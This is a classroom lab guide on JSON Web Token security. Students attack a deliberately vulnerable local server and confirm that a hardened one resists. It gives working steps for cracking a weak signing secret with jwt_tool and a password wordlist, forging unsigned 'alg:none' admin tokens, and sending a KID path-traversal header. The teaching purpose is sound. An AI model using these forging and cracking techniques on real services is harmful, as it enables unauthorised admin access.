Week 6, Lab 1 · About 90 to 120 minutes
Follow this guide from top to bottom. Every step tells you exactly what to type, what you should see, and what it means.
Make sure you have these on your machine:
node --version # must be v18 or higher
npm --version
python3 --version
openssl versionInstall jwt_tool (you will use this to attack tokens):
pip3 install jwt_toolgit clone https://github.com/AlphaDevelopmental/JWT-security-lab.git
cd jwt-lab
npm installcp .env.example .env
cp .env.vulnerable.example .env.vulnerableOpen .env in any text editor.
You will see JWT_SECRET=REPLACE_WITH_A_64_PLUS_CHAR_RANDOM_HEX_STRING.
Replace that placeholder by running this command and pasting the output:
node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"Your .env should look like this afterwards:
JWT_SECRET=3f9a1e7ab163aa9dfea15b4a21e7903b499f67230950b22c78e3cf9fc5f2d100d2868dbb1a922336cbd9036...
PORT=3010
The .env.vulnerable file already has JWT_SECRET=password123 — that weak secret is the point.
Terminal 1:
node src/server.jsYou should see: [*] Safe server running at http://localhost:3010
Terminal 2:
node src/server_vulnerable.jsYou should see: [!] VULNERABLE SERVER STARTED — LAB USE ONLY
Leave both running for the whole lab.
Before you attack anything, let us understand the structure of a token.
curl -s -X POST http://localhost:3010/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"correct"}' | jqYou should get back something like:
{
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIi4uLn0.abc123",
"tokenType": "Bearer",
"expiresIn": 900
}Save the token value:
TOKEN="paste_the_long_token_string_here"A JWT has three sections separated by dots. Let us decode each one.
# Read the header (first section)
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null | jqExpected:
{ "alg": "HS256", "typ": "JWT" }# Read the payload (second section — your actual data)
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jqExpected:
{
"sub": "1",
"username": "alice",
"role": "admin",
"jti": "some-unique-id",
"iat": 1712000000,
"exp": 1712000900
}What you should notice:
- You decoded this with NO secret key. Anyone can read a JWT payload.
iatis the time the token was created (Unix timestamp — seconds since 1970)expis when it expires. Convert it:date -d @1712000900It should be 15 minutes afteriat.- There is NO home address. NO database ID. The payload is clean.
# Try to read the signature (third section) — it is binary
echo $TOKEN | cut -d'.' -f3 | base64 -d 2>/dev/null | xxd | head -3You will see scrambled binary output. The signature is not readable text. Its only job is to prove the payload was not changed.
curl -s http://localhost:3010/api/me \
-H "Authorization: Bearer $TOKEN" | jqExpected: your user data returned.
curl -s http://localhost:3010/api/admin \
-H "Authorization: Bearer $TOKEN" | jqExpected: { "secret": "Top Secret Admin Intel", "admin": "alice" }
Now try with bob's token:
BOB_TOKEN=$(curl -s -X POST http://localhost:3010/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"bob","password":"password"}' | jq -r '.accessToken')
curl -s http://localhost:3010/api/admin \
-H "Authorization: Bearer $BOB_TOKEN" | jqExpected: { "error": "Insufficient permissions" }
Bob has a valid token but the wrong role. He cannot enter.
Now switch to the vulnerable server.
VULN_TOKEN=$(curl -s -X POST http://localhost:3011/login | jq -r '.accessToken')echo $VULN_TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jqYou will see:
{
"sub": 1,
"username": "admin",
"role": "admin",
"home_address": "123 Hacker Way, Lagos",
"internal_db_id": "DB_7782_PRIVATE",
"iat": 1712000000,
"exp": 4867600000
}What to notice:
home_addressis personal data. In a real app this would break GDPR and Nigeria's NDPR.internal_db_idtells an attacker the format of your internal systems.- The
expyear is 2124. The token is valid for 99 years. - You read all of this without the secret key. Just base64 decoding.
The fix is in auth.js: only put non-sensitive data in the token.
If you need private data, look it up from the database using the sub (user ID)
after verifying the token.
The vulnerable server uses password123 as its secret.
An attacker who intercepts one token can find this secret without ever
touching the server — using a list of common passwords.
python3 -m jwt_tool $VULN_TOKEN -C -d /usr/share/wordlists/rockyou.txtIf you do not have rockyou, use a small test list:
echo -e "abc123\npassword\npassword123\n123456\nqwerty" > /tmp/test_wordlist.txt
python3 -m jwt_tool $VULN_TOKEN -C -d /tmp/test_wordlist.txtExpected result: jwt_tool finds the secret — password123
What this means:
- This attack runs entirely offline. No requests hit the server.
- The attacker only needs one token (from a network capture, a log file, etc.)
- Once they have the secret, they can sign any payload they want.
- They could change their role from "user" to "admin" and sign it themselves.
The fix is in auth.js: the secret must be at least 64 random characters.
No wordlist on earth contains a string like:
3f9a1e7ab163aa9dfea15b4a21e7903b499f67230950b22c78e3cf9fc5f...
This attack lets you forge a token with no signature at all.
python3 -m jwt_tool $VULN_TOKEN -X ajwt_tool will print several forged token options. Copy the one with a trailing dot at the end (the empty signature), for example:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjEsInVzZXJuYW1lIjoiYWRtaW4iLC4uLn0.
FORGED="paste_the_forged_token_here"
curl -s http://localhost:3011/api/admin_data \
-H "Authorization: Bearer $FORGED" | jqExpected: { "data": "Sensitive Admin Intel" } — the server accepted a fake token.
curl -s http://localhost:3010/api/admin \
-H "Authorization: Bearer $FORGED" | jqExpected: { "error": "Invalid token" }
Why it works on the vulnerable server:
In auth_vulnerable.js, the verify call says algorithms: ['HS256', 'none'].
The word none allows unsigned tokens.
Why it fails on the safe server:
In auth.js, the verify call says algorithms: ['HS256'].
none is not on the list. Rejected immediately.
Now do the attack by hand without jwt_tool, so you understand each step.
FAKE_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
echo "Fake header: $FAKE_HEADER"FAKE_PAYLOAD=$(echo -n '{"sub":1,"username":"admin","role":"superadmin"}' | base64 | tr -d '=' | tr '+/' '-_')
echo "Fake payload: $FAKE_PAYLOAD"MANUAL_FORGED="${FAKE_HEADER}.${FAKE_PAYLOAD}."
echo "Forged token: $MANUAL_FORGED"curl -s http://localhost:3011/api/me \
-H "Authorization: Bearer $MANUAL_FORGED" | jqExpected: the server returns "role": "superadmin" — you invented a role that did not exist
and the server accepted it.
This one requires no tool. Just look at the login response.
curl -s -X POST http://localhost:3011/login | jqNotice the "note" field:
{
"accessToken": "...",
"note": "Store this in localStorage for convenience!"
}Why this is dangerous: localStorage is a place in the browser where JavaScript can save things. Any JavaScript on the page — including code an attacker injected — can read it with:
localStorage.getItem('token')An attacker who finds an XSS hole in your website can steal every user's token in one line of JavaScript and send them all to their own server.
Look at server.js: the safe version gives no storage advice at all.
The right approach is to use an httpOnly cookie — JavaScript cannot
read those even if it tries.
# Create a header that includes the KID traversal string
BAD_HEADER=$(echo -n '{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}' \
| base64 | tr -d '=' | tr '+/' '-_')
# Grab the payload from your existing vulnerable token
PAYLOAD=$(echo $VULN_TOKEN | cut -d'.' -f2)
# Send it (the signature will be wrong, but we want to see the KID check fire)
curl -s http://localhost:3011/api/admin_data \
-H "Authorization: Bearer ${BAD_HEADER}.${PAYLOAD}.fakesig"You should see:
[!] Directory traversal attempt detected in KID header!
kid value sent by attacker: ../../../../dev/null
What this means in a real attack:
Some servers use the kid value to decide which file to load as the signing key:
const key = fs.readFileSync('/keys/' + header.kid)
With kid set to ../../../../dev/null, the server reads an empty file.
The attacker signs their fake token with an empty secret.
The verification passes. They are in.
The fix: never use kid as a file path. Keep a hardcoded lookup table:
const KEYS = { 'key-v1': secret1, 'key-v2': secret2 };
const key = KEYS[header.kid];Now run each attack against the safe server to confirm it is protected.
# alg:none token — should be rejected
curl -s http://localhost:3010/api/admin \
-H "Authorization: Bearer $FORGED" | jq
# Expected: { "error": "Invalid token" }
# Bob's token on the admin route — should be rejected
curl -s http://localhost:3010/api/admin \
-H "Authorization: Bearer $BOB_TOKEN" | jq
# Expected: { "error": "Insufficient permissions" }
# Manually forged token — should be rejected
curl -s http://localhost:3010/api/me \
-H "Authorization: Bearer $MANUAL_FORGED" | jq
# Expected: { "error": "Invalid token" }Run these from the project root folder:
openssl genrsa -out private.key 2048
openssl rsa -in private.key -pubout -out public.keyThis creates two files:
private.key— the signing key. Only the auth server should have this.public.key— the verification key. Safe to give to any server.
cat public.keyThis is safe to share. It looks like a block of text starting with -----BEGIN PUBLIC KEY-----.
Post it on your website. Put it in your API docs. Give it to partner companies.
It can only be used to CHECK tokens, never to CREATE them.
node -e "
const { getPublicJWKS } = require('./src/auth_rs256');
console.log(JSON.stringify(getPublicJWKS(), null, 2));
"This is the format that Auth0, Google, Microsoft, and all major login services use to publish their public keys. Any client can download it and verify your tokens.
With HS256 (auth.js):
- If you have 10 servers all checking tokens, all 10 need the secret key.
- If any one server is hacked, the attacker can create fake tokens.
With RS256 (auth_rs256.js):
- Only the auth server has the private key.
- All 10 other servers get only the public key.
- If any one is hacked, the attacker gets the public key — which was public anyway.
- They still cannot create fake tokens. Only the private key can do that.
| # | Vulnerability | Where to see it | How to attack it | The fix |
|---|---|---|---|---|
| 1 | alg:none | auth_vulnerable.js |
jwt_tool -X a |
Only allow ['HS256'] |
| 2 | Algorithm confusion | auth_vulnerable.js |
RS256/HS256 key swap | Pick one algorithm only |
| 3 | Weak secret | .env.vulnerable |
jwt_tool -C -d rockyou.txt |
64+ random characters |
| 4 | PII in payload | auth_vulnerable.js |
base64 -d the payload |
Only put safe data in token |
| 5 | No expiry | auth_vulnerable.js |
Token lasts 99 years | Use expiresIn: '15m' |
| 6 | No issuer/audience | auth_vulnerable.js |
Token works on any server | Always set and verify iss and aud |
| 7 | localStorage advice | server_vulnerable.js |
XSS to read localStorage | Use httpOnly cookies |
| 8 | KID injection | auth_vulnerable.js |
Set kid to ../../../../dev/null |
Validate kid against fixed list |
- If a user logs out, their token is still valid until it expires. How would you cancel it immediately?
- Why do we return the same error message for wrong username AND wrong password?
- If you had 20 microservices, would you use HS256 or RS256? Why?
- The KID attack requires modifying the JWT header. Why does that not break the signature check?
- What is the difference between a token being "encrypted" and being "signed"? Which one does JWT use?
- jwt.io — paste any token here to decode it visually (do not use with real tokens)
- PortSwigger JWT Labs — more challenges to try
- jwt_tool wiki — full guide to the attack tool
- RFC 7519 — the official JWT standard document